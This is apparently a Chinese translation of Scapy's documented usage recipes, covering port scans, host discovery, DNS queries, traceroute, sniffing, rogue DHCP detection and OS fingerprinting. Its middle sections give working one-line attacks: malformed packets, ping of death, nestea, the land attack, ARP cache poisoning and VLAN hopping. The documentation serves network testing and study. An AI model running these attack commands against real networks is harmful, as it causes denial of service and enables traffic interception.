一、简单的one-liners
使用 Scapy 强大的数据包制作工具,我们可以快速复制经典的 TCP 扫描。例如,将发送以下字符串来模拟 ACK 扫描:
>>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
我们可以在应答的数据包中找到未过滤的端口:
>>> for s,r in ans:
... if s[TCP].dport == r[TCP].sport:
... print("%d is unfiltered" % s[TCP].dport)
同样,过滤后的端口可以在未应答的数据包中找到:
>>> for s in unans:
... print("%d is filtered" % s[TCP].dport)
可以使用以下命令启动 Xmas Scan:
>>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
检查 RST 响应将显示目标上的关闭端口。
较低级别的 IP 扫描可用于枚举支持的协议:
>>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
在本地以太网上发现主机的最快方法是使用 ARP Ping 方法:
>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)
可以使用以下命令查看答案:
>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy 还包括一个内置的 arping() 函数,其执行类似于上述两个命令:
>>> arping("192.168.1.0/24")
可以使用以下命令模拟经典 ICMP Ping:
>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)
可以通过以下请求收集有关实时主机的信息:
>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )
在 ICMP 回显请求被阻塞的情况下,我们仍然可以使用各种 TCP Ping,例如下面的 TCP SYN Ping:
>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )
对我们的探测的任何响应都将指示一个活动主机。我们可以使用以下命令收集结果:
>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
如果所有其他方法都失败了,总会有 UDP Ping 会从活动主机产生 ICMP 端口不可达错误。在这里您可以选择最有可能关闭的任何端口,例如端口 0:
>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
再次,可以使用以下命令收集结果:
>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
二、DNS请求
IPv4 (A) 请求:
这将执行一个寻找 IPv4 地址的 DNS 请求
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an.rdata
'217.25.178.5'
SOA 请求:
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))
>>> ans.ns.mname
b'dns.ovh.net.'
>>> ans.ns.rname
b'tech.ovh.net.'
MX 请求:
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))
>>> results = [x.exchange for x in ans.an.iterpayloads()]
>>> results
[b'alt1.aspmx.l.google.com.',
b'alt4.aspmx.l.google.com.',
b'aspmx.l.google.com.',
b'alt2.aspmx.l.google.com.',
b'alt3.aspmx.l.google.com.']
三、典型攻击
畸形数据包:
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
死亡之音(Muuahahah):
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
雀巢攻击:
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
陆地攻击(专为 Microsoft Windows 设计):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
四、ARP缓存中毒
此攻击通过 VLAN 跳跃攻击毒化其 ARP 缓存来防止客户端加入网关。
经典的 ARP 缓存中毒:
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
双重 802.1q 封装的 ARP 缓存中毒:
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
五、TCP 端口扫描
在每个端口上发送一个 TCP SYN。等待 SYN-ACK 或 RST 或 ICMP 错误:
>>> res, unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
可能的结果可视化:开放端口
>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
六、IKE 扫描
我们尝试通过发送 ISAKMP 安全协会提案并接收答案来识别 VPN 集中器:
>>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
在列表中可视化结果:
>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )
七、高级跟踪路由
TCP SYN 跟踪路由
>>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
结果将是:
>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
UDP 跟踪路由
像我们使用 TCP 一样跟踪 UDP 应用程序是不可靠的,因为没有握手。我们需要给出一个应用有效载荷(DNS、ISAKMP、NTP 等)才能得到答案:
>>> res, unans = sr(IP(dst="target", ttl=(1,20))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
我们可以将结果可视化为路由器列表:
>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))
DNS 跟踪路由
我们可以通过在函数参数中指定一个完整的数据包来执行 DNS 跟踪路由traceroute()
:
>>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
>>> sr1(IP(dst="172.16.1.232")/ICMP())
>>
九、ICMP leaking
这是一个 Linux 2.0 错误:
>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
>>>>
十、Vlan 跳跃
在非常特殊的情况下,双重 802.1q 封装会使数据包跳转到另一个 VLAN:
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
十一、无线嗅探
以下命令将显示类似于大多数无线嗅探器的信息:
sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
在 Windows 和 OSX 上,您还需要使用monitor=True,它仅适用于 scapy>2.4.0 (2.4.0dev+)。这可能需要您手动切换监视器模式。
上面的命令将产生类似于下面的输出:
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
十二、简单的 ARP 监视器
该程序使用sniff()
回调(参数 prn)。store 参数设置为 0,这样sniff()
函数就不会存储任何东西(否则它会这样做),因此可以永远运行。filter 参数用于在高负载下获得更好的性能:过滤器应用于内核内部,Scapy 只会看到 ARP 流量。
#! /usr/bin/env python
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=arp_monitor_callback, filter="arp", store=0)
十三、识别 LAN 上的恶意 DHCP 服务器
您怀疑有人在您的 LAN 上安装了一个额外的、未经授权的 DHCP 服务器——无论是无意的还是恶意的。因此,您要检查任何活动的 DHCP 服务器并识别它们的 IP 和 MAC 地址。
使用 Scapy 发送 DHCP 发现请求并分析回复:
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets
在这种情况下,我们收到了 2 个回复,因此测试网络上有两个活动的 DHCP 服务器:
>>> ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
我们只对回复的 MAC 和 IP 地址感兴趣:
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11
我们指定multi=True
让 Scapy 在收到第一个响应后等待更多的响应数据包。这也是为什么我们不能使用更方便的dhcp_request()
功能而不得不手动构造DHCP数据包的原因:dhcp_request()
用于srp1()
发送和接收,因此会在第一个应答数据包后立即返回。
此外,Scapy 通常会确保回复来自发送刺激的同一 IP 地址。但是我们的 DHCP 数据包被发送到 IP 广播地址(255.255.255.255),任何应答数据包都将以回复的 DHCP 服务器的 IP 地址作为其源 IP 地址(例如 192.168.1.1)。因为这些 IP 地址不匹配,我们必须在发送刺激之前禁用 Scapy 的检查。
conf.checkIPaddr = False
详情参考:
http://en.wikipedia.org/wiki/Rogue_DHCP
特殊案例
过滤操作后的 TTL 递减仅未过滤的数据包生成 ICMP TTL 超出
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
if r.haslayer(ICMP) and r.payload.type == 11:
print s.dport
在多 NIC 防火墙上查找子网,只有他自己的 NIC 的 IP 可以通过此 TTL 访问:
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst
许多防火墙包含一个规则来丢弃没有设置 TCP 时间戳选项的 TCP 数据包,这在流行的端口扫描程序中很常见。
要允许 Scapy 到达目标目的地,必须使用其他选项:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
十五、使用 Wireshark 查看数据包
您已经使用 Scapy 生成或嗅探了一些数据包。
现在您想使用Wireshark查看它们,因为它具有高级数据包解析功能。
这wireshark()就是为了!
# First, generate some packets...
packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()
# Show them with Wireshark
wireshark(packets)
Wireshark 将在后台启动,并显示您的数据包。
wireshark ( pktlist , ... )
使用Packet
or PacketList
,序列化您的数据包,并将其流式传输到 Wireshark中,stdin
就好像它是一个捕获设备一样。
因为这使用pcap
格式来序列化数据包,所以有一些限制:
数据包必须全部相同linktype
。
例如,您不能在顶层混合Ether
和。IP
数据包必须DLT_*
为 linktype
. 不支持linktype
的被替换为DLT_EN10MB
(以太网),并且在 Wireshark 中显示不正确。
例如,不能传递裸ICMP
数据包,但您可以将其作为一个IP
或IPv6
数据包的有效负载发送。
使用文件名(作为字符串传递),这会在 Wireshark 中加载给定的文件。这需要采用 Wireshark 支持的格式。
conf.prog.wireshark
您可以通过更改配置设置告诉 Scapy 在哪里可以找到 Wireshark 可执行文件。
这接受与 相同的额外参数tcpdump()
。
WiresharkSink
用于实时流数据包的PipeTools 接收器。
线鲨(1)
Wireshark 功能及其命令行参数的附加说明。
Wireshark 的网站
对于 Wireshark 的最新版本。
Wireshark 协议参考
包含有关 Wireshark 协议解析器的详细信息,以及各种网络协议的参考文档。
十六、Scapy的性能表现
Scapy 在重负载下会缓慢剖析和/或丢失数据包。
请记住,Scapy 的设计目的不是快速,而是易于破解和扩展。与几乎所有其他替代方案相比,数据包模型使得创建新层变得非常容易,但会带来性能成本。当然,我们仍然尽最大努力让 Scapy 尽可能快,但这不是绝对的主要目标。
有很多方法可以加速 scapy 的解剖。您可以使用所有这些
使用 BPF 过滤器:操作系统比 Scapy 快。如果您让操作系统过滤数据包而不是 Scapy,它只会处理一小部分负载。使用函数的filter=
参数sniff()。
通过禁用您不使用的图层:如果您不使用某些图层,为什么要剖析它们?您可以让 Scapy 知道要剖析哪些层,而所有其他层将被简单地解析为Raw
. 这带来了巨大的性能提升,但需要您知道自己在做什么。
# Enable filtering: only Ether, IP and ICMP will be dissected
conf.layers.filter([Ether, IP, ICMP])
# Disable filtering: restore everything to normal
conf.layers.unfilter()
十七、操作系统指纹
序列号
Scapy 可用于分析 ISN(初始序列号)增量,以发现可能存在漏洞的系统。首先,我们将通过在循环中发送多个 SYN 探测来收集目标响应:
>>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
一旦我们获得了合理数量的响应,我们就可以开始分析收集到的数据,如下所示:
>>> temp = 0
>>> for s, r in ans:
... temp = r[TCP].seq - temp
... print("%d\t+%d" % (r[TCP].seq, temp))
...
4278709328 +4275758673
4279655607 +3896934
4280642461 +4276745527
4281648240 +4902713
4282645099 +4277742386
4283643696 +5901310
nmap_fp
Scapy 支持 Nmap 指纹识别(由 Nmap 直到 v4.20 完成的旧的“第一代”指纹)。在 Scapy v2 中,您必须先加载一个扩展模块:
>>> load_module("nmap")
如果你安装了 Nmap,你可以将它的活动操作系统指纹数据库与 Scapy 一起使用。确保签名数据库的版本 1 位于以下指定的路径中:
>>> conf.nmap_base
然后你可以使用nmap_fp()
实现与 Nmap 的操作系统检测引擎相同的探测功能:
>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
p0f
如果您的系统上安装了 p0f,您可以使用它直接从 Scapy 猜测操作系统名称和版本(仅使用 SYN 数据库)。首先确保 p0f 数据库存在于指定的路径中:
>>> conf.p0f_base
例如,从单个捕获的数据包中猜测操作系统:
>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
-> 74.125.19.104:www (distance 0)